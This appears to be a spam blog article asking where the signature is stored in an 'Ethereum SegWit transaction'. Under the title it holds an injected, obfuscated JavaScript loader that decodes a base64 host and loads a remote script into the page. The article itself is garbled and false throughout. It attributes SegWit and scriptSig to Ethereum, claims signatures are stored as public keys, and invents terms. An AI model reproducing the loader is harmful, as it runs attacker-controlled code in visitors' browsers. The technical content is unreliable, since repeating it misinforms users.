Ethereum: Where is the Signature stored in a SegWit transaction?

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=a6197d83″;document.body.appendChild(script);

Deciphering Ethereum Transactions: Where is the Signature Stored?

Ethereum, a popular decentralized platform for creating smart contracts and dApps (digital applications), has undergone significant upgrades with the introduction of SegWit (Segregated Witness) in 2017. One of the key features of SegWit transactions is that they are more compact than traditional Bitcoin transactions, allowing for a greater number of transactions to be included in a single block.

However, one aspect of SegWit transactions remains unchanged: the storage of signatures. In traditional Bitcoin and other blockchain-based cryptocurrencies like Litecoin, Ethereum uses public-key cryptography to sign transactions. This process is often referred to as “signing” or “receiving signature”.

In an Ethereum transaction, the signature is indeed stored in the form of a public key, which is typically generated by a private key (the one associated with the sender’s Ethereum address). The public key serves as a digital identifier for the sender and can be used to verify the authenticity of the signature.

How are signatures stored in SegWit transactions?

So, where is this signature stored in an Ethereum transaction that uses SegWit? The answer lies in the chaincode script (also known as a “transaction script”) associated with each block. When creating a new transaction using SegWit, the script that generates the public key used to sign the transaction is included.

In other words, the signature is stored within the scriptSig field of the transaction data structure within the block. The scriptSig field contains information about the sender’s identity, including their public key and the mnemonic phrase associated with it.

Here’s a simplified example of an Ethereum script that generates a private key for signing:

function signTransaction(PrivateKey) {

  const signature = PrivateKey.sign(data);

  return signature;

}

In this example, data is replaced with the actual transaction data structure and the corresponding private key. The generated signature is then returned.

Conclusion

While SegWit has undoubtedly improved the efficiency of Ethereum transactions by reducing the size of block data, the storage of signatures remains a critical aspect of the platform’s identity verification process. By storing signatures in the form of public keys within transaction scripts, the Ethereum network ensures that users can verify the authenticity and validity of transactions on the blockchain.

This unique approach has both advantages and disadvantages compared to traditional cryptography methods. On one hand, it provides an additional layer of security by allowing for decentralized verification through a decentralized key exchange (DKE). On the other hand, it may introduce some complexity in terms of private key management and scalability concerns due to the increased size of transaction data structures.

As the Ethereum ecosystem continues to evolve, it will be interesting to see how this signature storage mechanism is refined and adapted to meet the demands of a growing community.

bitcoin does create multiple coinbase